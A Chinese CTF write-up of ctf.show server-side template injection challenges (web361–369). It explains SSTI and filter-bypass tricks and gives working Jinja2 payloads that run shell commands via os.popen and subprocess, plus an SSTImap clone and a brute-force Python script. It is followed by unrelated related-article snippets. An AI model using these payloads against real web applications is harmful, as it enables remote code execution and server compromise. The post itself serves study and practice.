ctf_show笔记篇(web入门---SSTI)

news/2024/5/19 23:44:49 标签: 笔记, 安全, web安全, ctf

前言

模板引擎

模板引擎是为了让用户界面以及业务数据分离开才产生的,模板引擎会生成特定的文档,然后通过模板引擎生成前端html代码,然后再获取用户数据再放到渲染函数里渲染,最后将生成的html代码个渲染好的数据结合拿给浏览器呈现给用户。

SSTI

SSTI(Server-Side Template Injection)是指在服务器端模板中存在漏洞,允许恶意用户通过注入攻击代码来执行任意命令或操作。在一些常见的Web框架中(如Python的Flask、PHP的ThinkPHP、Java的Spring等),用户输入通常会经过控制器(Controller)处理,然后传递给模型(Model)进行业务逻辑处理和数据库操作,最后再返回给视图(View)层进行渲染展示。

SSTI漏洞的根本原因是服务器端未经过滤的接受了用户输入,并将其直接作为模板内容的一部分。在模板引擎渲染过程中,恶意注入的代码会被执行,从而可能导致敏感信息泄露、代码执行、甚至服务器被入侵。其影响范围主要取决于模板引擎的复杂性和漏洞的严重程度。

SSTI问题可能存在于任何使用模板的地方,因为它并不依赖于特定编程语言,也不是沙盒绕过的一种形式。沙盒绕过只是一种模板引擎为了防止SSTI漏洞而设计的一种安全机制,它限制了用户只能使用已定义或声明的模块,适用于所有的模板引擎。

简单来说造成ssti的原因就是

  1. 模板参数用户可控
  2. 参数过滤不严谨

怎么测试是什么模板

 

这里有大部分的测试模板的方法

绕过方法

  1. 大多数的过滤绕过都可以使用get请求request.args.a或者request.values.a来传输参数
    例如:
    ?name=request.values.a&a=cat /flag
  2. 过滤了下划线这些的话可以使用attr和get请求结合起来绕过
    例如:
    ?name=a.__b__
    可以改为
    ?name=(a | attr(request.args.a))&a=__b__
  3. 如果过滤的比较严谨,可以尝试使用类似于盲注的形式,后面有解释
  4. 可以使用{%%}绕过{{}},有些另类的过滤方法比如,他去过滤{{}}这个里面的参数,{%%}而这个里面的参数却不去过滤直接给无视了,第368题就是典型的例子

web361

手工

这一题的控制点是name

首先需要知道他是那种框架

可以用工具跑也可以手注,建议先手注再跑工具

这里明显就是jinja2或者twig

jinjia2官方poc

{% for c in [].__class__.__base__.__subclasses__() %}
     {% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {undefined{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

使用的时候需要url编码后再拿去传输

成功执行命令

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("ls /").read()') }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %} 

工具(sstimap)

这里附上工具路径

git clone https://github.com/vladko312/SSTImap.git

直接测试,getshell

跑出来是jinja2框架,拿到shell

web362

这一题过滤了一些数字的使用但是官方的poc可以使用

工具的话执行不了

web363

过滤了单双引号,利用get请求绕过

?name={{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364

这一题args用不了的,但是还是可以用get请求绕过,用values替换args

?name={{().__class__.__mro__[1].__subclasses__()[407](request.values.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web365

这一题过滤了方括号,使用getitem代替方括号其他不变

?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

web366

这一题过滤了下划线,利用attr

?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag

这里含有下划线的部分就是lipsum.__globals__这一部分

(lipsum | attr(request.values.b))

通过利用get请求将含有下划线的通过b传入就可以绕过过滤,再通过attr的方式返回一个属性而不返回项目

相当于是值传入参数不执行

payload:

?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__

web367

过滤了os,感觉只要不过滤request.values.a这个请求,都可以使用get的方式去绕过

?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368

这一次过滤了请求了request,但是只限于再{{}}这个里面,就很神奇,使用{%%}就能绕过

?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

这一题让我有了个不成熟的想法,前面的过滤是否都是过滤的{{}}这个里面的东西是否使用{%%}就能全部绕过了,尝试以后似乎不太行

web369

这里参考了Write-Up,其实和使用set去构造是差不多的,只是利用了类似盲注的东西

这个脚本是针对于此题写的,它每跑一次去对比一下是否得到了payload里的小写字段

然后用result去接收,一个一个的去跑,直到result发上去等于

说他是针对于此靶场写的脚本是因为

payload 中的命令字符被逐个遍历发送,但是代码中并没有解析 HTTP 响应中的字符,而是尝试在响应文本中查找 <h3> 标签,然后获取标签后面的一个字符。这种方法可能会导致获取到错误的字符,因为在 HTML 中 <h3> 标签的位置可能会发生变化

import requests
url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={{% print (config|string|list).pop({}).lower() %}}"

payload="cat /flag"
result=""
for j in payload:
    for i in range(0,1000):
        r=requests.get(url=url.format(i))
        location=r.text.find("<h3>")
        word=r.text[location+4:location+5]
        if word==j.lower():
            print("(config|string|list).pop(%d).lower()  ==  %s"%(i,j))
            result+="(config|string|list).pop(%d).lower()~"%(i)
            break
print(result[:len(result)-1])


http://www.niftyadmin.cn/n/5477822.html

相关文章

内网安全之域内用户名枚举

域内用户名枚举可以在无域内有效凭据的情况下&#xff0c;枚举出域内存在的用户名&#xff0c;进而对域内存在的用户名进行密码喷洒攻击&#xff0c;以此来过的域内有效凭据 在Kerberos协议认证的AS-REQ阶段&#xff0c;请求包cname对应的值是用户名&#xff0c;当用户名存在、…

ABAP RANGE TABLE关于时间戳的处理

作者 idan lian 如需转载备注出处 如果对你有帮助&#xff0c;请点赞收藏~~~ 一个小知识点记录一下~~ 最近处理一个需求&#xff0c;需要按时戳字段限制两个月去抽取数据&#xff0c;如果是正常的8位时间格式&#xff1a;YYYYMMDD&#xff0c;这种格式&#xff0c;之前做过…

第十三章 OpenGL ES-RGB、HSV、HSL模型介绍

第十三章 OpenGL ES-RGB、HSV、HSL模型详细介绍 第一章 OpenGL ES 基础-屏幕、纹理、顶点坐标 第二章 OpenGL ES 基础-GLSL语法简单总结 第三章 OpenGL ES 基础-GLSL渲染纹理 第四章 OpenGL ES 基础-位移、缩放、旋转原理 第五章 OpenGL ES 基础-透视投影矩阵与正交投影矩阵…

装机指导。

everything winrar snipaste cmake git tortoisegit tortoisesvn inno setup vs2022 安装的时候注意sdk路径一定要默认&#xff01;&#xff01; 否则你会发现在你的sdk安装路径的根盘符下会多出一个Windows Kits&#xff0c;强迫症接受不了 默认的会跟已有的装在一起…

2024.4.2力扣每日一题——所有可能的真二叉树

2024.4.2 题目来源我的题解方法一 分治方法二 动态规划 题目来源 力扣每日一题&#xff1b;题序&#xff1a;894 我的题解 方法一 分治 只有一个节点必然是真二叉树偶数个节点的树必然不是真二叉树&#xff0c;因为每个节点恰好有0或者2个子节点&#xff08;详细证明可以使用…

【leetcode 5】最长回文子串, Manachers算法

解法一 枚举每个回文的中心&#xff08;回文中心可能是一个字符&#xff0c;也可能是两个字符&#xff0c;例子分别是&#xff1a;cac,caac&#xff09;,从这个回文中心出发向两边扩散&#xff0c;直到扩到不能再扩&#xff0c;记录下该回文中心能够产生的最长回文字符串的起始…

C++中的string类操作详解

引言 针对C中的string&#xff0c;本文主要讲解如何对其进行插入、删除、查找、比较、截断、分割以及与数字之间的相互转换等。 字符串插入 1. append方法 std::string str "hello"; str.append(7, w); // 在末尾添加7个字符w str.append("wwwwwww");…

加速度:电子元器件营销网站的功能和开发周期

据工信部预计&#xff0c;到2023年&#xff0c;我国电子元器件销售总额将达到2.1万亿元。随着资本的涌入&#xff0c;在这个万亿级赛道&#xff0c;市场竞争变得更加激烈的同时&#xff0c;行业数字化发展已是大势所趋。电子元器件B2B商城平台提升数据化驱动能力&#xff0c;扩…